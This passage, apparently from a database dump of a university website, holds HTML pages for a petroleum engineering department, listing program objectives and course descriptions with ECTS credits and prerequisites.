windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><strong><br></strong></p><p><strong>Total – 60 KU credits (120 ECTS)</strong></p>\r\n<p><strong><br></strong></p><p><strong>Elective\r\nmajor subjects:</strong></p>\r\n<p>PETE 565: Fluid flow in Porous Media </p>\r\n<p>PETE 572: Enhanced Oil Recovery</p>\r\n<p>PETE 578: Non- Newtonian Systems Applications in\r\nPetroleum Production &nbsp;&nbsp;</p>\r\n<p>PETE 582: Phase Behavior of\r\nPetroleum Reservoir Fluids</p></div>'),(430,272,'en','Objectives','','<p>The Department offers undergraduate and graduate programs in Petroleum Engineering as a BS, MS and PhD.</p><p><strong>Undergraduate-program objectives are to enable graduates to:</strong></p><br><ul><li>Apply basic mathematics, science, and engineering knowledge to identify, formulate, and solve petroleum-engineering problems;</li><li>Design and conduct experiments;</li><li>Analyze and interpret data;</li><li>Design relevant systems, components, or processes using modern techniques, skills, and engineering tools.</li></ul><br><p><strong>Graduate-program objectives are to:</strong></p><br><ul><li>Offer specialization in various fields related to petroleum engineering;</li><li>Help students develop analysis and synthesis skills for initiating and conducting research and development;</li><li>Supply in-depth theoretical and applied training necessary in the professional world;</li><li>Prepare students for advanced study and research. Programs are tailored to the uniqueness of students. In recognizing their particular academic needs and research interests, the Department designs individual programs of study.</li></ul><strong><br></strong><p><strong>Specific course modules are:</strong></p><br><ul><li>Engineering Fundamentals</li><li>Petroleum Geoscience</li><li>Reservoir Engineering</li><li>Production Technology</li><li>Drilling Engineering</li></ul><br><p>Courses include lectures, seminars, and pertinent hands-on projects encompassing a wide range of petroleum engineering and geo-science.</p><p>Lectures and tutorials aid project work with the exchange of ideas and methods, applicable to real field evaluation and development-design problems. Courses equip students with technical expertise and knowledge crucial in a dynamic industry.&nbsp;</p>'),(431,273,'en','Degree programs','',''),(432,274,'en','Courses','','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><em>PETE 202: Introduction to Petroleum\r\nEngineering (6&nbsp;</em></strong><em></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: NONE&nbsp;</em></strong></p>\r\n<p>Basic knowledge about petroleum industry.\r\nHistorical background, sources, world supply and demand, chemical and physical\r\nproperties of petroleum. Introduction to exploration, development and\r\nexploitation of oil and gas fields, reservoir types and engineering concepts,\r\nproduction methods, refining and transportation of natural hydrocarbons.<strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>GEOL 203: General Geology (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 202</em></strong></p>\r\n<p>Physical geology of Earth,&nbsp;including\r\nrocks and minerals, structural-geological&nbsp;features as faults, folds,\r\nlandslides, streams, glaciers, oceans, volcanoes, earthquakes, plate tectonics,\r\nand their effects to the geological resources.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 211: Introduction to Fluid Mechanics (6&nbsp;</em></strong><strong><em></em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Definition of fluid properties. Fluid statics.\r\nFluid-flow phenomena. The Bernoulli equation. Laminar and turbulent pipe flows.\r\nTransportation and metering of fluids.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 218: Reservoir Fluid Properties (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Properties of fluids encountered in petroleum\r\nengineering. Phase behavior, density, viscosity, interfacial tension, and\r\ncomposition of oil, gas, and brine systems. PVT relationships of hydrocarbon\r\ngas and liquid systems. Thermodynamic behavior of naturally occurring\r\nhydrocarbon mixtures; evaluation and correlation of physical properties of\r\npetroleum reservoir fluids, including laboratory and empirical methods.\r\nInterpreting lab data for engineering applications. Flash calculations.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 220: Reservoir Rock Properties (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Petrophysical properties of reservoir rocks\r\nand measurement procedures: Coring and core handling; sandstone and carbonate\r\nreservoir rock and pore types; fundamental porosity, grain density,\r\npermeability and saturation properties; special core analysis such as\r\nmechanical, acoustic and electrical properties; multiphase rock and fluid\r\ninteractions, interfacial tension, capillary pressure, wettability and relative\r\npermeability properties.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 303: Physics of Oil and Gas Reservoirs (6\r\n</em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PHSC 111, PHSC 112&nbsp;</em></strong></p>\r\n<p>Reservoir rocks properties-porosity,\r\npermeability, electrical properties, properties of porous media with fluid\r\nsaturation, and relative permeability. Mechanical properties of porous rocks,\r\ncomposition of carbonates. Reservoir fluids. Properties of Newtonian and\r\nnon-Newtonian oils. Properties of these oils in reservoir and in normal\r\nconditions. PVT and phase behavior of reservoir fluids. Molecular properties of\r\nreservoir fluids: wettability and capillarity. Base physics of displacement oil\r\nin porous media by water and gas injections. Compatibility of water injections.<strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 302: Drilling Engineering (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: GEOL 203, PETE 202&nbsp;</em></strong></p>\r\n<p>Drilling machinery: hole and equipment.\r\nDrilling fluids and hydraulics. Cement and hyd­rau­lics. Drill off tests (bit\r\nperformances). Pressure control/ Measurement while drilling. Direc­tional\r\ndrilling (Tangential, ROC and Minimum Curvature Methods). Drill string design\r\n(neutral point of tension and compression, neutral point of bending, Lubinski’s\r\nstresses, margin of over pull). Casing design (biaxial, triaxial). Casing\r\nsetting (buckling and well head loads).</p>\r\n<p>&nbsp;</p>\r\n<p><strong>&nbsp;<em>GEOL 310: Petroleum Geology (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)<br>\r\nPrerequisites: GEOL 203</em></strong></p>\r\n<p>An introduction to the processes responsible\r\nfor transportation and deposition of sedimentary particles. Overview of\r\nsedimentary environments and facies. Sedimentology and sedimentary rocks.\r\nPorosity and permeability. Physical processes of transportation. Integration of\r\ngeology, geophysics, and geochemistry and their implications to exploration,\r\ndevelopment of oil and gas fields, reservoir characterization and enhanced oil\r\nrecovery.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 311: Reservoir Petrophysics (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisites: GEOL 310, PHYS 112</em></strong></p>\r\n<p>Systematic theoretical and laboratory study of\r\nphysical properties of petroleum reservoir rocks; lithology, porosity, elastic\r\nproperties, strength, acoustic properties, electrical properties, relative and\r\neffective permeability, fluid saturations, capillary characteristics and\r\nrock-fluid interactions such as adsorption and absorption.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 312: Well Logging (</em></strong><em><strong>6</strong> </em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: GEOL 310&nbsp;</em></strong></p>\r\n<p>Principles and operation of gamma ray, self\r\npotential, caliper, resistivity (micro and focused), density neutron, sonic,\r\ncement bond and variable density; diameter of well logging tools.\r\nInterpretation of well log and their cross plotting techniques. Determination\r\nof formation properties such as porosity, hydrocarbon saturation, lithology,\r\nzone thickness, shakiness, etc. Correlation of gas bearing formations and\r\ndetermination of predictable reserves. Guidelines to select proper logs in\r\ngiven field conditions.<strong>&nbsp;</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>ENGR 312 Mechanics of Materials (</em></strong><em><strong>6</strong> </em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>&nbsp;Definition of stress, strain and mechanical\r\nproperties of engineering materials. Stress and deflection analysis of\r\nmechanical components. Derivation of design relations between geometry, loading\r\nand material strength. Mohr’s circle, principal stresses and multi-axial\r\nstrength analysis. Buckling and elastic stability.</p>\r\n<div style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:15.0pt;margin-left:0in;text-align:center;line-height:normal\"\"=\"\">\r\n<hr width=\"100%\" noshade=\"noshade\">\r\n</div>\r\n<p><strong><em>PETE 318: Well Completion (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong><strong><em></em></strong></p>\r\n<p><strong><em>Prerequisites: PETE 302</em></strong></p>\r\n<p>Casing program, casing and tubing design,\r\nprinciples of cementing, completion added skin, well perforating, hydraulic\r\nfracturing, sand control and acidizing.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>MATH 340: Statistical Methods for Engineers (6\r\n</em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: MATH 221</em></strong></p>\r\n<p>Introduction to probability, random variables\r\nand distributions. Statistical inference including point and interval\r\nestimation and test of hypotheses. Elementary experimental design. Regression\r\nand correlation.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 417: Petroleum Reservoir Simulation</em></strong>&nbsp;<strong><em>(6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)<br>\r\nPrerequisite: PETE 323</em></strong></p>\r\n<p>Basic principles of simulation. Finite\r\ndifference/finite element form of equation in governing single and multiphase\r\nflow through porous media. Characteristics of finite difference/finite element\r\nequations. Solution strategy techniques of originating matrix problems. Data\r\nevaluation in simulation problems. Case studies.<strong>&nbsp;</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 402: Production Engineering I (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisites: PETE 302, PETE 318</em></strong></p>\r\n<p>Inflow Performance relationships, single and\r\nmultiphase flow in pipes, components of production system, basics of fluid\r\nseparation and treatment, and analysis and optimization of production systems.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 323: Petroleum Reservoir Engineering (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 303&nbsp;</em></strong></p>\r\n<p>Estimation of hydrocarbon pore volume and\r\nrecovery factor. Classification of oil reservoirs. Reservoir performance\r\nprediction for solution gas drive, water drive, gas-cap drive, drainage and\r\ncombination drive mechanisms using material balance approach. Water influx\r\ntheory. Water gas coning in oil producing formations. Characterization of\r\nfractured reservoirs. Steady and unsteady state single phase flow equations\r\nthrough porous media, steady and unsteady superposition. Multiphase flow\r\nthrough porous media. Reservoir characterization in homogeneous and\r\nheterogeneous reservoir by pressure and tracer testing.<strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>MATH 221: Numerical Methods&nbsp;for Engineers\r\n(6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: MATH 340&nbsp;</em></strong></p>\r\n<p>The objectives of this course are to give an\r\nover view of relevant statistical methods and to illustrate. Their application\r\nfor engineering and numerical simulation. Planning of sampling programs. Linear\r\nregression and correlation their application for reservoir engineering.<strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 407: Oil and Gas in Place Dynamics (6</em></strong><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: ENGR 210&nbsp;</em></strong></p>\r\n<p>Foundations of the filtration theory inflow of\r\nthe non-compressible and homogeneous compressible fluids. Differential equation\r\nfor isothermal filtration. Mass preservation law for fluid filtration. Motion\r\nquantity change law and energy preservation law for fluid filtration. Inflow to\r\nthe well in an oval reservoir. Inflow to the perfect and imperfect well. Motion\r\nand balance of two fluids boundary in the porous.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 410: Oil and Gas Gathering, Treatment and\r\nStorage (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 403, PETE 415&nbsp;</em></strong></p>\r\n<p><em>Oil, gas and gas-condensate gathering</em>&nbsp;on the fields. The network of pipelines\r\nused to gathering gas, gas-condensate and crude oil. Complication in the\r\ngathering. Separation of gas from crude oil and gas-condensate. Purification of\r\noil and gas on the fields. Storage oil and gas. Tanks and its type. Underground\r\nstorage of gas. Transportation of oil and gas. Problems of environmental at the\r\ngathering, separation and transportation of oil and gas.<strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 414: Transport Processes in Petroleum\r\nProduction (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Basics and applications of fluid mechanics\r\n(statics; mass, energy, momentum balances; laminar and turbulent flow, Reynolds\r\nnumber, Moody diagram; non-Newtonian fluid flow; multi-phase flow; flow in\r\nporous media, non-Darcy flow); heat transfer (heat conduction, convection, heat\r\nexchangers); emphasis on analogies and similarities within mass, energy and\r\nmomentum transport.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 415: Gas and Gas-Condensate Reservoir\r\nEngineering (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 403&nbsp;</em></strong></p>\r\n<p>The origin and characteristics of natural gas.\r\nEstimation of gas reserves. Gas well testing. Estimation of gas deliverability.\r\nGas flow measurement. Natural gas transmission, design of gathering systems.\r\nGas-condensate reservoir engineering. Cycling process. Field treating and\r\nprocessing of natural gas. Underground Gas Storage.<strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>ENV 305: Health, Safety and Environment (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite:&nbsp;PETE 302, PETE\r\n318,&nbsp;PETE 403&nbsp;</em></strong></p>\r\n<p>Elements of the field life cycle and\r\nenvironmental systems. International environmental standards. Collection of\r\nenvironmental data. Environmental control and standard test methods. Pollution\r\nanalyses and prevention. Injection of produced water into reservoir. Oily water\r\ntreatment. Drilling mud treatment. Energy optimization. Combined Cycle Gas\r\nturbines and Steam turbine. Well Stream turbine. Aspect of safety while\r\ndrilling, well testing and oil and gas production.<strong>&nbsp;</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 421: Petroleum Economics (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 403&nbsp;</em></strong></p>\r\n<p>Time value of money; profitability measures;\r\nengineering analysis and prediction of cash flows in operations of exploration,\r\ndevelopment and exploitation oil and gas fields; revenues, discounts,\r\ndepreciation, depletion, and risk analysis; contemporary economic issues\r\naffecting oil industry.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 422: Petroleum Property Valuation (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 403&nbsp;</em></strong></p>\r\n<p>Estimation of reserves. Optimization of\r\nproduction rate. Maximizing the oil recovery within economic limits. Investment\r\nrequired for exploration and development of oil and gas fields. Investment\r\nrequired for improving recovery processes. Operating cost. Taxes, prices and\r\ndepreciation. Profit analysis.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 423: Production Engineering II (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisites: PETE 402</em></strong></p>\r\n<p>Overview and application of common methods for\r\nartificially lifting oil wells, dewatering gas wells and boosting deepwater\r\nproduction; detailed theory, design and troubleshooting of the important\r\nartificial lift methods, including continuous gas lift, beam pumping,\r\nelectrical submersible pumping and progressing cavity pumps. Prerequisite: PE\r\n3013, PE 3073.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 438: Fluid Mechanics for Petroleum\r\nEngineers (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisites: PETE 211</em></strong></p>\r\n<p>Review of basic concepts related to Newtonian\r\nfluid flow. Introduction to non-Newtonian fluid flow. Turbulent flow of\r\nnon-Newtonian fluids in pipes. Flow of multiphase mixtures Perfect fluid flow.\r\nThe law of conservation of energy for perfect fluid flow. Dynamical similarity\r\nof ideal gas flows. Holdup relations for two-phase flow. Determination of\r\npressure losses for two-phase flow in pipes. Hydraulic design. Maximum\r\nhydraulic horse power and maximum hydraulic impact concepts in bit hydraulic\r\noptimization.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 451: Petroleum Engineering Design&nbsp;(6\r\n</em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Design problems related to petroleum reservoir\r\ndevelopment such as selection of optimum well spacing for a specified\r\nreservoir, evaluation of producing property or installation of a waterflood.\r\nDesigning of economic, uncertainty analysis, as well as conservation,\r\nenvironmental, and professional ethics factors.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 450: Summer Practice (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>A minimum of four weeks (20 working days) of\r\nsummer practice is obligatory to fulfill the requirements for the BSc degree.\r\nSummer practice is to familiarize the petroleum-engineering student with\r\npractices and equipment of the drilling operations, production and reservoir\r\nafter the third year of undergraduate education. The training is based on the\r\ncontent of the summer practice manual.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 458: Well Performance (6 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>This course is designed to provide an\r\nunderstanding of reservoir inflow performance and how it is affected by various\r\ncompletion methods. Reservoir performance (IPR) in oil wells.\r\nWellbore/Formation Interface performance modeling. Perforations, Sand control\r\napplications. Skin quantification. Formation Damage mechanism and treatment.\r\nIntroduction to Nodal analysis concepts and applications. Production\r\noptimizations with Artificial lift techniques. Multi-well production\r\noptimization management</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 505: Advanced Drilling Engineering&nbsp;</em></strong><em>(<strong>8 </strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 302</em></strong></p>\r\n<p>Advanced topics in Drilling Engineering. Their\r\ncontents may vary according to the interests of students and instructor in\r\ncharge. New technologies will be covered.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 509: Petroleum Geoscience (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: GEOL 310&nbsp;</em></strong></p>\r\n<p>Process of integrating geological, geochemical\r\nand geophysical data to provide a history of a sedimentary basin\'s formation\r\nand growth, and an understanding of its sedimentary fill. Potential of\r\nsedimentary basins to produce hydrocarbons through the analysis of possible\r\nhydrocarbon sources in the basin fill, and the development of a thermal model\r\nto investigate source maturity.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 518: Advanced Topics in Production\r\nOptimization (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Inflow relationships for oil and gas wells.\r\nIPR curves for fractured wells. Multiphase flow in tubing. Nodal system\r\nanalysis applied to injection wells, gravel packed oil and gas wells and\r\nstandard perforated well. Production optimization to a complete\r\nfield-integrated oil production systems. Production optimization for a complete\r\nocean-floor optimization.<strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 519: World Energy Sources (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Energy in the rest of the century. Mapping the\r\ncritical gap between supply and demand. Decline in the oil area, world wide\r\npetroleum supply limits. Review of other sources of energy, coal, nuclear,\r\nhydroelectrical, geothermal, solar, other renewable, and unconventional\r\nsources. Environment and climate. Energy conservation and pricing.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 530:&nbsp;Non-balance Systems Application\r\nin Oil and Gas Fields Development (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 415&nbsp;</em></strong></p>\r\n<p>The possible way to control the development\r\nprocess on the base of non-balance and energetic approach, as well as on the\r\nbase of control of the fluid withdrawal from the well. The sequential\r\nadaptation of the technological procedure for the field development. The\r\nresults of the laboratory study of the effect of surface active substance\r\nadditives on the stability of emulsion structures of the gas and liquid flow.<strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 531: Formation Evaluation (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Theory of various well logging methods\r\n(electrical, acoustic, and radioactive). Application of log interpretation\r\ntechniques for lithology and hydrocarbon identification and calculation of reservoir\r\nparameters (porosity and saturation) for the quantitative evaluation of oil and\r\ngas reserves.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 538: Well Stimulation (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 458&nbsp;</em></strong></p>\r\n<p>Design and analysis of well stimulation\r\nmethods, including acidizing and hydraulic fracturing; causes and solutions to\r\nlow well productivity. Fracturing; Principles of Hydraulic Fracturing, Planning\r\na Fracturing Treatment (Data Gathering), Fluid Design, Perforation Design,\r\nBreakdown Design, Design of a Fracturing Treatment, Post-Job Evaluation.\r\nRe-Fracturing. Fracture Acidizing.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 540: Advanced Petroleum Reservoir\r\nEngineering&nbsp;</em></strong><em>(<strong>8\r\n</strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 509</em></strong></p>\r\n<p>Advanced topics in Petroleum Reservoir\r\nEngineering. Their contents may vary according to the contents of\r\nsubject-matters involved in recent technological applications and interests of\r\nstudents and instructor in charge.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 542: Advanced Gas and Gas-condensate\r\nReservoir&nbsp;Engineering&nbsp;</em></strong><em>(<strong>8 </strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 540</em></strong></p>\r\n<p>Characteristics of natural gas and\r\ngas-condensate. Estimation of gas and gas-condensate reserves. Gas well\r\ntesting. Estimation of gas deliverability. Gas flow measurement. Natural gas\r\ntransmission, design of gathering systems. Gas-condensate reservoir\r\nengineering. Cycling process. Field treating and processing of natural gas.\r\nUnderground Gas Storage.<strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 548:</em></strong><em>&nbsp;<strong>Advanced Petroleum Production\r\nTechnology (8 </strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 505</em></strong></p>\r\n<p>Selected topics in oil industry’s economic\r\nevaluation, including offshore bidding, project ranking and selection, capital\r\nbudgeting, long-term oil and gas field development projects and incremental\r\nanalysis for assisted recovery and acceleration.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 550: Pressure Transient Analysis (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p>Theory of transient fluid flow in petroleum\r\nreservoirs and applications of methods to interpret transient pressure\r\nbehavior.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 551: Design of Development of Oil and Gas\r\nFields (8</em></strong><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 538&nbsp;</em></strong></p>\r\n<p>Data for reservoir development planning.\r\nSchemes of well’s location. Estimation of natural reservoir drive mechanism.\r\nPetroleum reservoir engineering by water flooding. Hydrodynamic calculation of\r\nproduction and water injection pressure for water-drive reservoir. Hydrodynamic\r\ncalculation of water and gas injection into reservoir. Economic evaluation of\r\noil reservoir projects development. Optimization of production rate. Maximizing\r\nthe oil recovery within economic limits. Analyze, control and regulation of oil\r\nreservoir development.<strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 552: Measurements in Petroleum\r\nEngineering (8</em></strong><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 415, MATH 402&nbsp;</em></strong></p>\r\n<p>Fundamentals in instrumental techniques based\r\non electromagnetic radiation, electrochemistry and diffusion. Modern methods of\r\nengineering measurements and their application&nbsp;to petroleum engineering.<strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 553: Current Problems in Geothermal\r\nProduction (8</em></strong><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 402, MATH 501&nbsp;</em></strong></p>\r\n<p>Problems related to well productivity;\r\ndeposition of solids within tubing and surface installations, corrosion,\r\ntwo-phase flow calculations. Decline in reservoir productivity; pressure\r\nmaintenance, re-injection strategies, tracer testing. Environmental aspect of\r\ngeothermal utilization; geothermal fluid, noise, chemical composition and\r\npollution.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 562: Advanced Natural Gas Engineering (8</em></strong><strong><em> ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 415&nbsp;</em></strong></p>\r\n<p>Material balance techniques for volumetric gas\r\nreservoir. Geo-pressured gas reservoirs. Flow of natural gas in pipelines. Gas\r\nflow measurements. Gas well testing, pseudofunctions, buildup and flow tests.\r\nGas well deliverability testing. Flow after flow, isochronal and modified\r\nisochronal tests. Long term performance prediction for gas wells.<strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 563: Reservoir Management and Evaluation\r\n(8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 531&nbsp;</em></strong></p>\r\n<p>Analysis of&nbsp;oil and fields using all\r\nPetroleum Engineering tools. Reservoir description and analysis using field\r\ndata. Prediction of future performance for solution of gas drive reservoirs.\r\nMaterial balance techniques with field examples.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PETE 565: Fluid Flow in Porous Media (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 540&nbsp;</em></strong></p>\r\n<p>Generalized Darcy\'s law, vector equations,\r\nsolutions of partial differential equations with various boundary conditions as\r\napplied to the flow of fluids in porous media.&nbsp;<strong>Structure and properties\r\nof porous materials, steady and unsteady flow of homogenous fluids.\r\nSimultaneous flow of immiscible fluids. Flow with change of phase. Miscible\r\nflow.</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 570:</em></strong><em>&nbsp;<strong>Numerical Reservoir Simulation</strong>&nbsp;<strong>(8\r\n</strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 540, PETE 563</em></strong></p>\r\n<p>Differencing schemes for the partial\r\ndifferential equations which govern single phase flow in porous media. Grid\r\ndesign, type and boundary conditions. Solution methods. Application of the\r\nvariables, models and decision criteria used in development of oil and gas\r\nfields.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 572: Enhanced Oil Recovery (EOR) (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 548&nbsp;</em></strong></p>\r\n<p>A study of improved oil recovery processes\r\nsuch as miscible displacement, micro emulsion displacement, and thermal\r\nmethods. Displacement of the remaining oil by gas at high pressure and by CO<sub>2</sub>. Polymer and thermal (hot water, steam) drive. Chemical\r\nproperties. Surface active substance (SAS) and acidizing. Physical methods of\r\nstimulation (pressure, magnetic fields; electrical). Technological feature of\r\nsecondary recovery methods. In-situ combustion. Field design parameters.<strong>&nbsp;</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PETE 573: Thermal Recovery Methods</em></strong><em>&nbsp;(8<strong> </strong></em><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 548</em></strong></p>\r\n<p>Introduction and applicability of thermal\r\nmethods; theory of displacement mechanisms; the thermodynamics of steam; heat\r\ntransfer calculation, important variables in steam flooding prospects, design\r\nof steam floods; comparison with other secondary recovery methods.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PETE 578: Non-Newtonian Systems Application in\r\nPetroleum Production (8 </em></strong><strong><em>ECTS</em></strong><strong><em> credits)</em></strong></p>\r\n<p><strong><em>Prerequisite: PETE 548&nbsp;</em></strong></p>\r\n<p>Classification of Newtonian systems. The\r\nrheologic and thermodynamic of non-Newtonian systems. The flow of non-Newtonian\r\nsystems in the pipelines. The flow of non-Newtonian systems in the porous\r\nmedia. Generalized Darcy Law. The consecutive movement of non-Newtonian\r\nsystems. Pressure drop of non-Newtonian systems in the porous medium.\r\nReplacement of oil from the porous medium by non-Newtonian systems.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;<strong><em>PETE 580: Special Topics in\r\nPetroleum Engineering (6 credits)</em></strong></p>\r\n<p>Courses not listed in the catalogue are given\r\nas Special 